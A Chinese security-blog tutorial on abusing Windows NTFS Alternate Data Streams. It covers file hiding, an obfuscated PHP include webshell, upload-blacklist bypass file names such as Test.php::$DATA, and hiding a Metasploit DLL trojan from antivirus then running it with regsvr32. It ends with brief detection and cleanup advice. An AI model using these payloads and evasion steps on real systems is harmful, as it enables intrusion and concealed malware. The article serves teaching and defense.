<bdo id="2b3yk"><code id="2b3yk"></code></bdo>

  • <output id="2b3yk"><sup id="2b3yk"></sup></output>
    <output id="2b3yk"><ruby id="2b3yk"></ruby></output>
  • <code id="2b3yk"><delect id="2b3yk"></delect></code>

  • Windows ADS在滲透測試中的妙用

    2019-02-23 74479人圍觀 ,發現 4 個不明物體 系統安全終端安全

    *本文作者:3unshine,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

    前言

    NTFS交換數據流(Alternate DataStreams,簡稱ADS)是NTFS磁盤格式的一個特性,在NTFS文件系統下,每個文件都可以存在多個數據流。通俗的理解,就是其它文件可以“寄宿”在某個文件身上。利用ADS數據流,我們可以做很多有趣的事情,同時對于企業安全來說這類問題也隱藏著巨大的風險。本文主要討論利用方式以及如何防御這類攻擊。

    利用方式

    文件隱藏

    在NTFS分區創建ADS數據流文件有兩種形式:一是指定宿主文件;二是創建單獨的ADS文件。常用的創建命令有兩個:echotype ,echo用于輸入常規字符,type則用于將文件附加到目標文件,此類用法通常為CTF出題時候使用。

    指定宿主文件

    這類情況可以使用命令

    echo 9527 > 1.txt:flag.txt 

    創建目標文件:

    正常情況文件無法查看到,可以使用命令:

     dir /r

    文件內容可以使用命令notepad 1.txt:flag.txt 進行查看和編輯 查看到文件名:

    Clipboard Image.png文件內容可以使用命令:

    notepad 1.txt:flag.txt

    進行查看和編輯:

    Clipboard Image.png

    此類文件可以通過直接刪除宿主文件清除。

    單獨的ADS數據流文件

    這類可以通過命令

    echo hide > :key.txt 

    來進行創建:Clipboard Image.png

    創建之后在目錄下無文件,也沒有依賴的宿主文件,并且此類文件在當前目錄命令行下是無法查看的,因為它是依賴于文件夾的ADS數據流文件:

    Clipboard Image.png因此需要退到上級目錄進行查看:

    Clipboard Image.png使用命令:

    notepad test:key.txt

    可以進行編輯:

    Clipboard Image.png

    像這類文件的清除一種是通過刪除文件夾的方式,但是假如這個文件是創建在系統根目錄如何進行處理,此時需要用到WinHex   ToolsOpen Disk功能。

    Clipboard Image.png選中目標盤符,找到目標文件夾。

    Clipboard Image.png可以進行查看:

    Clipboard Image.png如需刪除只需在WinHex選中之后按Delete即可。

    webshell后門

    由于windows xp之后的系統對于ADS文件都沒有執行權限,因此隱藏此類webshell需要用到文件包含來進行配合。

    首先創建被包含文件index.php:s.txt。

    內容為:

    <?php phpinfo();?>

    然后參考:https://blog.csdn.net/nzjdsds/article/details/81260524的方法,Hex之后通過利用PHP 可變變量進行二次轉換,696e6465782e7068703a732e747874index.php:s.txt的hex編碼,最終test.php中內容如下:

    <?php

    $a="696e6465782e70"."68703a732e747874";

    $b="a";

    include(PACK('H*',$$b))

    ?>

    訪問test.php即可:

    Clipboard Image.png

    使用最新版D盾掃描也無法發現問題。

    Clipboard Image.pngPS:這邊另外補充一點,文件最好寄宿在純靜態文件,因為像php文件修改后會改變屬性,系統層相當于生成了一個新的文件,導致ADS文件失去宿主而消失。

    文件上傳

    這一塊主要是用于Bypass上傳黑名單驗證,因為在我們上傳數據流文件時,形如test.php::$DATAtest.php:a.txt這樣的后綴,windows系統必定需要創建一個對應的宿主文件test.php,同時假設我們需要上傳的文件內容為:

    <?php phpinfo();?>

    下面是上傳是會出現的現象:

    上傳的文件名 服務器表面現象 生成的文件內容
    Test.php:a.jpg 生成Test.php
    Test.php::$DATA 生成test.php <?phpphpinfo();?>
    Test.php::$INDEX_ALLOCATION 生成test.php文件夾  \
    Test.php::$DATA\0.jpg 生成0.jpg  <?phpphpinfo();?>

    可以注意到上傳文件名為Test.php::$INDEX_ALLOCATION時會生成對應的文件夾,利用此種特性也可以用于突破UDF提權時遇到無法創建文件夾的問題。

    Clipboard Image.png

    病毒免殺

    前面提到過在windows xp 03之后的版本的數據流文件都被禁止了執行權限,因此可以使用wscript來運行vbs,此處在C盤根目錄使用命令:

    type1.vbs > :2.vbs

    創建了依賴C盤存在的數據流文件c::2.vbs ,沒有工具正常是無法清除的。

    使用命令:

    wscript c::2.vbs

    可以成功執行vbs。

    Clipboard Image.png

    當然我們今天主要是來測試病毒免殺的,所以首先使用msf生成一個dll木馬。

    Clipboard Image.png很容易就被確認為病毒。

    Clipboard Image.png使用命令:

    type test.dll > 1.txt:ms

    將dll寫入數據流文件:

    Clipboard Image.png再次使用360聯網完全體進行查殺,無法發現此類木馬。

    Clipboard Image.png使用命令:

    regsvr32 1.txt:ms
    

    運行dll,當然由于病毒行為太明顯沒作處理,360還是會動態查殺的,這個配合一點其他的免殺技術完全過掉也不難,這邊不再多做贅述。

    Clipboard Image.png

    小結

    目前殺毒軟件和webshell查殺對ADS數據流技術的查殺支持并不是很好,并且木馬可能進行依賴于盤符的駐留方式,希望能本文能有所幫助。

    檢測

    檢測的工具常見的有LADS (List Alternate Data Streams)、Streams、Sfind等(供參考)

    清除

    清除方式目前一個是個人用過的winhex和刪除宿主文件這兩種方式,另一個就是借助相關工具如IceSword刪除。

    參考

    http://www.ndqr.tw/articles/73270.html

    https://www.cnblogs.com/feiyucha/p/9940895.html

    https://blog.csdn.net/nzjdsds/article/details/81260524

    https://www.i0day.com/733.html

    *本文作者:3unshine,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

    發表評論

    已有 4 條評論

    取消
    Loading...
    css.php 宁夏卫视在线直播观看